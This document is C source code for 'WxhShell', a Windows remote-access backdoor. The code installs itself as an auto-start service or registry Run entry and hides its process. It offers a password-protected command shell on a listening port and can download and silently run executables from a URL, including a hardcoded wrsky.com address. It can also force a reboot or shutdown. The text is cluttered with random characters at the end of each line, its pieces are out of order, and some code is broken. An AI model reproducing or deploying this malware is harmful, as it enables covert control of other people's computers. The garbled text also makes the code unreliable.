    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M&~cU{9c  
    if(Boot(SHUTDOWN)) Mv#\+|p 1x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )W.Y{\D0  
    else { 32Jl|@8,g  
    closesocket(wsh); IBSoAL  
    ExitThread(0); mj _ V6`m4  
    } 6V^KOG  
    break; oES4X{,  
    } ST7Xgma-  
  // 获取shell z;+LU6V  
  case 's': { cNvh2JI  
    CmdShell(wsh); zPt0IB_j'  
    closesocket(wsh); %y_AT2A  
    ExitThread(0); -P[bA0N,  
    break; "pW@[2Dkx/  
  } TSHH=`cx  
  // 退出 Z&Ao;=Gp1  
  case 'x': { !p$k<?WXc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F|&=\Q  
    CloseIt(wsh); (X(c.Jj  
    break; <Z^qBM  
    } ztHEXM.  
  // 离开 ~zD*=h2C  
  case 'q': { 7R5!(g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EGIwqci:  
    closesocket(wsh); B#Z-kFn@  
    WSACleanup(); HC\\w- `<  
    exit(1); 8@J5tFJ&%  
    break; 5_~QS  
        } rtY4 B~_  
  } bdz&"\$X  
  } ~u+|NtF  
#uHl  
  // 提示信息 |cd=7[B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hD! 9[Gb  
} >$dkA\&p  
  } k:k!4   
BLQD=?Q  
  return; IWD21lS  
} %2t#>}If!  
2i_X{!0}  
// shell模块句柄 vhj^R5=  
int CmdShell(SOCKET sock) F\( 7B#  
{ Ad]oM]  
STARTUPINFO si; k}r)I.Lp  
ZeroMemory(&si,sizeof(si)); 9HJA:k*k|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8w]>SEGFs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g{%2*{;i  
PROCESS_INFORMATION ProcessInfo; _rjLCvv-  
char cmdline[]="cmd"; r]'Q5l4j6"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I!uGI  
  return 0; 1?5UVv_F  
} 1l`$.k  
q26%Z)'nf  
// 自身启动模式 xFy%&SKHg  
int StartFromService(void) 08JVX'X-mr  
{ .vJ t&@NO  
typedef struct _z(ydL*  
{ UZ}>@0  
  DWORD ExitStatus; qc6eqE  
  DWORD PebBaseAddress; 2W]y9)<c  
  DWORD AffinityMask; Q1(6U6L  
  DWORD BasePriority; Vuu_Sd  
  ULONG UniqueProcessId; 5xF R7%_&  
  ULONG InheritedFromUniqueProcessId; 'YUx&F cM  
}   PROCESS_BASIC_INFORMATION; `.8#q^  
k9iXVYQ.;r  
PROCNTQSIP NtQueryInformationProcess; baL-~`(T  
 e+=IGYC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "=r"c$xou  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; - yn;Jo2-  
Up|>)WFw"  
  HANDLE             hProcess; | *J-9  
  PROCESS_BASIC_INFORMATION pbi; ;UB$Uqs6  
}4M4D/=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C;_*vi2u  
  if(NULL == hInst ) return 0; )ls<"WTC.  
)TFBb\f>v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q0cr^24/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u]%>=N(^2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'ffOFIz|=I  
|L"!^Y#=D  
  if (!NtQueryInformationProcess) return 0; byUz  
qn4jy6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <dA1n:3o  
  if(!hProcess) return 0; 7 /$s!pV  
A"8"e*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b!ea(D!:  
6bW:&IPQ;  
  CloseHandle(hProcess); :$"L;"  
@JL+xfz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q4JvFy0'  
if(hProcess==NULL) return 0; :n?K[f?LfY  
z}[qk:  
HMODULE hMod;  U|HF;L  
char procName[255]; /2\%X`]<  
unsigned long cbNeeded; g~AO KHUP  
8x J]K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +5BhC9=b  
0{GpO6!  
  CloseHandle(hProcess); C*I~14  
3h|:ew[  
if(strstr(procName,"services")) return 1; // 以服务启动 k)a-odNrb  
L--(Y+vmf  
  return 0; // 注册表启动 \%!~pfM I  
} \dz@hJl:  
eHjn<@  
// 主模块 ~yvOR`2Gg  
int StartWxhshell(LPSTR lpCmdLine) i@C$O.m(  
{ '~ {xn  
  SOCKET wsl; < <vE.  
BOOL val=TRUE; 01nbR+e  
  int port=0; "7k 82dw  
  struct sockaddr_in door; -OS&(7  
02~+$R]L  
  if(wscfg.ws_autoins) Install(); d* 6 lJT  
lbtVQW0V;o  
port=atoi(lpCmdLine); kr C4O2Fkj  
?5<Q+ G0r  
if(port<=0) port=wscfg.ws_port; UA|A>c  
x1}7c9n K  
  WSADATA data; u0@i3Po  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZE*m;  
PmGW\E[ni  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z|V5/"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a3<.F&c+c  
  door.sin_family = AF_INET; Q6G-`&5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2h6<'2'o1  
  door.sin_port = htons(port); @L-3&~=  
AIvIQ$6}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6eqPaIaD   
closesocket(wsl); {i7Wp$ug  
return 1; L.uX  
} ByrK|lVM0  
ORV~F0d<  
  if(listen(wsl,2) == INVALID_SOCKET) { |@x^5Ab$T  
closesocket(wsl); 0 7CufoI  
return 1; |-HV@c]  
} {1Z`'.FU  
  Wxhshell(wsl); YFVNkB O%  
  WSACleanup(); ^0/FZ)V8  
Z. ))=w6G  
return 0; VV*Z5U@b  
TRl,L5wd-?  
} e `!PQMLU  
1N_Gk&  
// 以NT服务方式启动 R7o3X,-iwn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) * ?a-m\  
{ XA~Cc<v  
DWORD   status = 0; 9U_uw Rv2  
  DWORD   specificError = 0xfffffff; s0 ZF+6f  
J2$L[d^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3TRzDE(J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zqDIwfW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gNdEPaaFI  
  serviceStatus.dwWin32ExitCode     = 0; 2FxrMCC  
  serviceStatus.dwServiceSpecificExitCode = 0; Gk9Y{  
  serviceStatus.dwCheckPoint       = 0; tSVN}~1\  
  serviceStatus.dwWaitHint       = 0; |D %m>M6  
+0016UgS#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NW'rqgG  
  if (hServiceStatusHandle==0) return; Q2c|sK8  
IcM99'P(  
status = GetLastError(); L7*,v5  
  if (status!=NO_ERROR) R^PPgE6!$  
{ gAA2S5th  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8,Jjv*  
    serviceStatus.dwCheckPoint       = 0; Une,Y4{u  
    serviceStatus.dwWaitHint       = 0; gBzg'Z  
    serviceStatus.dwWin32ExitCode     = status; o~#cpU4{o  
    serviceStatus.dwServiceSpecificExitCode = specificError; sw.cw}1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |F }y6 gH  
    return; uES|jU{]b  
  } *OOi  
+/tN d2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @)A)cBv#  
  serviceStatus.dwCheckPoint       = 0; 42a.@JbLQ  
  serviceStatus.dwWaitHint       = 0; Wj"\nT4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?MT V!i0  
} O,`#h*{N  
9E/{HNkf  
// 处理NT服务事件,比如:启动、停止 B? $9M9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *C81DQ  
{ 9 )1 8  
switch(fdwControl) 2lVJ"jg  
{ /;7\HZ$@/  
case SERVICE_CONTROL_STOP: 'D ,efTq  
  serviceStatus.dwWin32ExitCode = 0; d NQ?8P-&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Yj/aa0Ka4  
  serviceStatus.dwCheckPoint   = 0; *=Ko"v }  
  serviceStatus.dwWaitHint     = 0; <l/QS3M  
  { tC0:w,C)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p^|IN'lx,  
  } ]Ek6EuaK  
  return; < j}n/G]  
case SERVICE_CONTROL_PAUSE: _i_^s0J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g.wp }fz  
  break; e6E{l  
case SERVICE_CONTROL_CONTINUE: +gZg7]!Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {tUjUwhz(  
  break; 8$k`bZ  
case SERVICE_CONTROL_INTERROGATE: _l`d+ \#  
  break; UF3g]>*  
};  pFfd6P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YP*EDb?f  
} D=hy[sDBw  
Y$3 &?LA  
// 标准应用程序主函数 r5U[jwP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L*a:j  
{ [{]/9E /&  
KxyD{W1  
// 获取操作系统版本 oy8L{8?  
OsIsNt=GetOsVer(); C|#GODA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 42*y27Dtm  
:ud<"I]:  
  // 从命令行安装 T bMW?Su  
  if(strpbrk(lpCmdLine,"iI")) Install(); /NFk@8<?  
4+rr3 $AY  
  // 下载执行文件 bXVH7Fy  
if(wscfg.ws_downexe) { /.54r/FN')  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZY_aE  
  WinExec(wscfg.ws_filenam,SW_HIDE); {+`'ZU6C  
} vL>cYbJ<  
_[D6 WY+  
if(!OsIsNt) { *C/bf)w  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,t"?~Hl".  
HideProc(); =<,>dBs}\  
StartWxhshell(lpCmdLine); ^HJvT)e4  
} Y nD_:ZK  
else :c4iXK0_^?  
  if(StartFromService()) %N jRD|  
  // 以服务方式启动 (OA-Mgyc  
  StartServiceCtrlDispatcher(DispatchTable); F8u;C:^d  
else 1k=w 9  
  // 普通方式启动 criQa<N"  
  StartWxhshell(lpCmdLine); #~3$4j2U(y  
iME )Jl&  
return 0; 8>U{>]WG  
} <ttrd%VW  
Ll" Kxg  
>XTDN  
,\YlDcl':0  
=========================================== <+7]EwVcn^  
BHmmvbM#Qm  
qDG{hvl[1r  
UE:';(t  
|p4D!M+$7  
g8=j{]~C  
" +JyD W%a:L  
OoW,mmthj>  
#include <stdio.h> ??\1eo2gB  
#include <string.h> 41-u*$   
#include <windows.h> g0Rny  
#include <winsock2.h> ss{y=O%9"  
#include <winsvc.h> #$-zg^  
#include <urlmon.h> *d~).z)  
((& y:{?G  
#pragma comment (lib, "Ws2_32.lib") HuVx^y` @  
#pragma comment (lib, "urlmon.lib") p$5uS=:4`8  
wSy|h*a,  
#define MAX_USER   100 // 最大客户端连接数 x9QUo*MT  
#define BUF_SOCK   200 // sock buffer y\a@'LFL  
#define KEY_BUFF   255 // 输入 buffer =1kE2u  
Hnq$d6F  
#define REBOOT     0   // 重启 A_8UPGh8  
#define SHUTDOWN   1   // 关机 P\jnht  
z%FBHj  
#define DEF_PORT   5000 // 监听端口 Z<P?P`  
|M8FMH[_  
#define REG_LEN     16   // 注册表键长度 ;u:A:Y4V  
#define SVC_LEN     80   // NT服务名长度 ~J~@mE2ks  
/nPNHO>U  
// 从dll定义API xbVvK+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8fI]QW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <\44%M"iC-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V(lxkEu/Fj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3^jkd)xw  
[9<c;&$LU  
// wxhshell配置信息 JWh5gOXd  
struct WSCFG { +#;t.&\80N  
  int ws_port;         // 监听端口 0A,u!"4[  
  char ws_passstr[REG_LEN]; // 口令 VnjhEEM!  
  int ws_autoins;       // 安装标记, 1=yes 0=no k},@2#W]  
  char ws_regname[REG_LEN]; // 注册表键名 =c(t;u6m-  
  char ws_svcname[REG_LEN]; // 服务名 D+nKQ4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8QJ^@|7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "c9T4=]&t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K2Z]MpLD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #F|q->2`o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zl]Ic' _i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (WCczXm)  
-`f 1l8LD2  
}; n_ 3g  
=<BPoGs5  
// default Wxhshell configuration S9 p*rk ~  
struct WSCFG wscfg={DEF_PORT, ' ?4 \  
    "xuhuanlingzhe", $D][_I  
    1, w\K(kNd(  
    "Wxhshell", Wr j<}L|  
    "Wxhshell", 5bj9S  
            "WxhShell Service",  Zra P\?  
    "Wrsky Windows CmdShell Service", pu"m(9  
    "Please Input Your Password: ", U } K]W>Z  
  1, M?gc&2 Y  
  "http://www.wrsky.com/wxhshell.exe", G7qB   
  "Wxhshell.exe" pdw;SIoC  
    }; |//D|-2  
PHxU6UPqy  
// 消息定义模块 FQlYCb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -$2B!#]3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I)(@'^)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )yTBtYw3  
char *msg_ws_ext="\n\rExit."; GG=R!+p2  
char *msg_ws_end="\n\rQuit."; X/8TRiTFv  
char *msg_ws_boot="\n\rReboot..."; 2Wx~+@1y  
char *msg_ws_poff="\n\rShutdown...";  Qi;62M  
char *msg_ws_down="\n\rSave to "; K,f"Q<sU%  
up;^,I  
char *msg_ws_err="\n\rErr!"; V* I2  
char *msg_ws_ok="\n\rOK!"; Pb] EpyAW  
F97HFt6{  
char ExeFile[MAX_PATH]; )c<X.4  
int nUser = 0; 3oQ?VP  
HANDLE handles[MAX_USER]; NMvNw?]  
int OsIsNt; d#U~>wr  
kSfNu{YS  
SERVICE_STATUS       serviceStatus; W#bOx0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qS!U1R?s  
PAy/"R9DT-  
// 函数声明 Dk^T_7{  
int Install(void); }8LTYn  
int Uninstall(void); Z.%0yS_T  
int DownloadFile(char *sURL, SOCKET wsh); P+Q}bTb8  
int Boot(int flag); OpLo[Y\  
void HideProc(void); Hp(wR'(g&  
int GetOsVer(void); ">M:6\B  
int Wxhshell(SOCKET wsl); &&>Tfzh  
void TalkWithClient(void *cs); -)%g MD~z1  
int CmdShell(SOCKET sock); x4N*P  
int StartFromService(void); VBN=xg}  
int StartWxhshell(LPSTR lpCmdLine); <hBd #J  
dcH@$D@~S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kQ99{l H,5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &~&oB;uR  
cna/?V  
// 数据结构和表定义 8#ZF<B Y  
SERVICE_TABLE_ENTRY DispatchTable[] = `gX$N1(  
{ V6!1(|  
{wscfg.ws_svcname, NTServiceMain}, PLueH/gC.  
{NULL, NULL} ^//`Dz  
}; ec&K}+p@  
l Zz%W8"  
// 自我安装 0..]c-V(G  
int Install(void) 3Hi[Y[O`%P  
{ oIv\Xdc81  
  char svExeFile[MAX_PATH]; |@Ze{\  
  HKEY key; z5 g4+y,  
  strcpy(svExeFile,ExeFile); N Wf IRL  
RQ;}+S  
// 如果是win9x系统,修改注册表设为自启动 9#:B_?e=  
if(!OsIsNt) { 3y}8|ML  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E#VF7 9L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =5q_aK#i  
  RegCloseKey(key); j58'P 5N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aflBDo1c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  jAxrU  
  RegCloseKey(key); pnp)- a*7  
  return 0; ZkmY pi[  
    } *q*$%H  
  } ?_j]w%Hz  
} 1xDh[:6  
else { q+U&lw|"w  
]-{A"tJ  
// 如果是NT以上系统,安装为系统服务 m9mkZ:r(kV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sI5S)^'IQ  
if (schSCManager!=0) 0gsRBy  
{ .c]@xoC  
  SC_HANDLE schService = CreateService I\<)9`O  
  ( $6~t|[7:%Y  
  schSCManager, P{2j31u`  
  wscfg.ws_svcname, hiw>Q7W  
  wscfg.ws_svcdisp, G<>h>c1>z  
  SERVICE_ALL_ACCESS, M-/2{F[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #]*]qdQWV^  
  SERVICE_AUTO_START, NJmyp!8  
  SERVICE_ERROR_NORMAL, >)edha*W]  
  svExeFile, )S^[b2P]y_  
  NULL, ?>DwNz^.!  
  NULL, <N8z<o4rku  
  NULL, K6 c[W%Va  
  NULL, E]0Qz? W  
  NULL `4-m$ab  
  ); 9cQ;h37J>  
  if (schService!=0) ~BC~^ D&WD  
  { $ qTv2)W1{  
  CloseServiceHandle(schService); ,*Z/3at}5M  
  CloseServiceHandle(schSCManager); d Z}|G-:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nk"nSXm3SR  
  strcat(svExeFile,wscfg.ws_svcname); er.;qV'Wz6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,!QtViA7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xm0(U0 >  
  RegCloseKey(key); ~Z}DN*S  
  return 0; l}~9xa}:D|  
    } 42=/$V  
  } SedVp cb+  
  CloseServiceHandle(schSCManager); +R',$YzD  
} >">grDX  
} ss4YeZa  
E&;;2  
return 1; XB<Q A>dLh  
} P=m l;xp  
9)$gD  
// 自我卸载 6E$ET5p&l  
int Uninstall(void) a)' P/P  
{ kd OIL2T  
  HKEY key; N>IkK*v  
'[p0+5*x  
if(!OsIsNt) { /Zg4JQ~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,VZ<r5NT  
  RegDeleteValue(key,wscfg.ws_regname); +@dgHDJ  
  RegCloseKey(key); ]\F}-I[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #c(BBTuX  
  RegDeleteValue(key,wscfg.ws_regname); B:6VD /qC  
  RegCloseKey(key); 0,wmEV!)  
  return 0; X nB-1{a1  
  } %FJB9?9=|  
} #:=*n(GT  
} ok{ F=z  
else { ?~X^YxWsY  
f@ .s(i=z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Je~`{n  
if (schSCManager!=0) q>m[vvt"  
{ gT2k}5d}p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .$xTX'  
  if (schService!=0) >NZJ-:t  
  { il7gk<  
  if(DeleteService(schService)!=0) { ,"f2-KC4h  
  CloseServiceHandle(schService); $AHdjQ[;6-  
  CloseServiceHandle(schSCManager); }CvhLjo  
  return 0; ~:N 1[  
  } $s,(-C   
  CloseServiceHandle(schService); m}]\^$d  
  } .q'{ 3  
  CloseServiceHandle(schSCManager); WfYC`e7q  
} )D" 2Q:  
} v[~Q   
?I7%ueFY  
return 1; c3N,P<#  
}  AtP!.p"j  
P9M. J^<  
// 从指定url下载文件 l@g%A# _  
int DownloadFile(char *sURL, SOCKET wsh) C~"b-T  
{ Qb@i_SX(fs  
  HRESULT hr; ^4=%~Yx  
char seps[]= "/"; c3J12+~;  
char *token; <%m$ V5h  
char *file; d_ji ..T  
char myURL[MAX_PATH]; oG=4&SQ  
char myFILE[MAX_PATH]; T&->xe f=  
yK0iW  
strcpy(myURL,sURL); Bh7dAV(  
  token=strtok(myURL,seps); j# n  
  while(token!=NULL) i}v3MO\X  
  { _CG ED{b@  
    file=token; C /w]B[H  
  token=strtok(NULL,seps); *#j_nNM4  
  } [{6fyd;  
!BN@cc[%  
GetCurrentDirectory(MAX_PATH,myFILE); b5W(}ka+  
strcat(myFILE, "\\"); X{P=2h#g  
strcat(myFILE, file); } ^WmCX2a  
  send(wsh,myFILE,strlen(myFILE),0); j"n"=rTTQ  
send(wsh,"...",3,0); {Z#=ppvs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $j"BHpN  
  if(hr==S_OK) T=VBKaSbU  
return 0; [#;CBs5o  
else {`V ^V_  
return 1; |D1TSv}rZD  
la>H&  
} 9 OZXs2~x  
Rg 5kFeS  
// 系统电源模块 #pk  
int Boot(int flag) @k\npFKQm  
{ n W:Bo#  
  HANDLE hToken; )F4BVPI  
  TOKEN_PRIVILEGES tkp; Y, {pG]B$w  
[p_<`gU?  
  if(OsIsNt) { GxA[N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QFIYnxY9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6b\JD.r*{  
    tkp.PrivilegeCount = 1; 4oN*J +"=+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  RAF do  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QZFH>,d  
if(flag==REBOOT) { 4}Yn!"jW&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I[bWd{i:  
  return 0; af|x(:!H  
} 41I2t(H @z  
else { u|75r%p>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t"X^|!hKIF  
  return 0; [!U! Z'i  
} 9z7rv,  
  } om8`^P/b  
  else { h/..cVD,K  
if(flag==REBOOT) { X;CRy,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9)D9'/{L#  
  return 0; O T .bXr~  
} @# GS4I  
else { 8Od7e`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U;LX"'}  
  return 0; bd)Sb?  
} FA1h!Vit  
} D(#6H~QN%  
VUzRA"DP|  
return 1; \2M{R  
} N$M:&m3^  
nT=XWM  
// win9x进程隐藏模块 ~xf uq{L;  
void HideProc(void) KU;J2Kt  
{ [H {2<!  
'k/:3?R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *&~ '  
  if ( hKernel != NULL ) ex8}./mjJ  
  { *z)+'D*+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R6\|:mI,$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /hAy1V6  
    FreeLibrary(hKernel); 3 V$ \s8  
  } ,e;_ Vb  
afd.v$63  
return; synueg  
} [midNC+,  
v;d3uunqv  
// 获取操作系统版本 d^I:{Ii'  
int GetOsVer(void) c=33O,_  
{ Z5,"KhB]  
  OSVERSIONINFO winfo; 3z -="_p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xr{ r&Rl  
  GetVersionEx(&winfo); Yduj3Ht:w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9 !V,++j  
  return 1; 9(hI%idq  
  else pet q6)g?  
  return 0; =h[;'v{  
} ?gG%FzfQ/  
$'COsiK7  
// 客户端句柄模块 )p[Qj58  
int Wxhshell(SOCKET wsl) n7hjYNJ  
{ LrdX^_,nt  
  SOCKET wsh; 5Vlm?mPU  
  struct sockaddr_in client; `: 9n ]xP  
  DWORD myID; F{laA YE  
;n.SRy6  
  while(nUser<MAX_USER) VN]j*$5   
{ o_cAelI[!  
  int nSize=sizeof(client); xmHW,#%ui\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SbH} cu8  
  if(wsh==INVALID_SOCKET) return 1; h`4!Qv  
;$FMOMR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fkD-mRKw  
if(handles[nUser]==0) ~LJtlJ 0  
  closesocket(wsh); CIAKXYM  
else $>hH{  
  nUser++; ORFi0gFbA  
  } Kc+TcC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :a_MT  
yD Avl+  
  return 0; 6NGQU%Hd  
} C@ "l"  
)Tw A?kj  
// 关闭 socket yXBWu=w3`O  
void CloseIt(SOCKET wsh) U[6 ~ad a  
{ S y^et  
closesocket(wsh); yLQwG.,  
nUser--; Za7!n{? 0  
ExitThread(0); f9^MLb6)  
} z;\,Dt  
Aq_?8Cd  
// 客户端请求句柄 @m9dB P  
void TalkWithClient(void *cs) q m"AatA  
{ IY}{1[<N  
M7//*Q'?  
  SOCKET wsh=(SOCKET)cs; p?sFX$S  
  char pwd[SVC_LEN]; bRI`ZT0  
  char cmd[KEY_BUFF]; q1Ehl S  
char chr[1]; 9Rb tFwbn  
int i,j; NUX$)c  
nBzju?X)I  
  while (nUser < MAX_USER) { 0">9n9  
vxXrVPU3  
if(wscfg.ws_passstr) { _EC H(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G<`6S5J>hr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y~Vl0f;  
  //ZeroMemory(pwd,KEY_BUFF); 2E@g#:3  
      i=0; QaSRD/,M  
  while(i<SVC_LEN) { Xe@:Aun  
ab>>W!r@!  
  // 设置超时 LNF|mS\+D  
  fd_set FdRead; {emym$we  
  struct timeval TimeOut; x, #?  
  FD_ZERO(&FdRead); -S 0dr8E  
  FD_SET(wsh,&FdRead); gFr-P!3  
  TimeOut.tv_sec=8; (4C_Ft*~j  
  TimeOut.tv_usec=0; bkIQ?cl<at  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N9=?IFEe]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PF0AU T  
|yi#6!}^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W&e}*  
  pwd=chr[0]; dQ_yb+<  
  if(chr[0]==0xd || chr[0]==0xa) { <+AvbqDe  
  pwd=0; %h& F  
  break; 7$7#z\VWu  
  } 2 xt$w%  
  i++; < [q{0,  
    } ~U1M -<IX  
i(0%cNP7  
  // 如果是非法用户,关闭 socket 7a4h7/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sg4TX?I   
} $8fJDN  
Vs, &  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ev,b5KelD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5KL??ao-  
+}Qq#^:_\  
while(1) { . r \g]  
C@rIyBj1g  
  ZeroMemory(cmd,KEY_BUFF); ;bkvdn}  
FTcXjWBPF9  
      // 自动支持客户端 telnet标准   htOVt\+!34  
  j=0; k<k@Tlo  
  while(j<KEY_BUFF) { =S|dzgS/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); im"3n=  
  cmd[j]=chr[0]; }/aqh;W  
  if(chr[0]==0xa || chr[0]==0xd) { Kk6i  
  cmd[j]=0; uex([;y  
  break; 7t|011<  
  } sEcg;LFp  
  j++; pZ&?uo67_  
    } Df=Xbf>jt9  
lnt}l  
  // 下载文件 #BhcW"@  
  if(strstr(cmd,"http://")) { U] av{}U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M6z$*? <  
  if(DownloadFile(cmd,wsh)) Imz1"+E~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nOq`Cwh9  
  else PbY=?>0z  
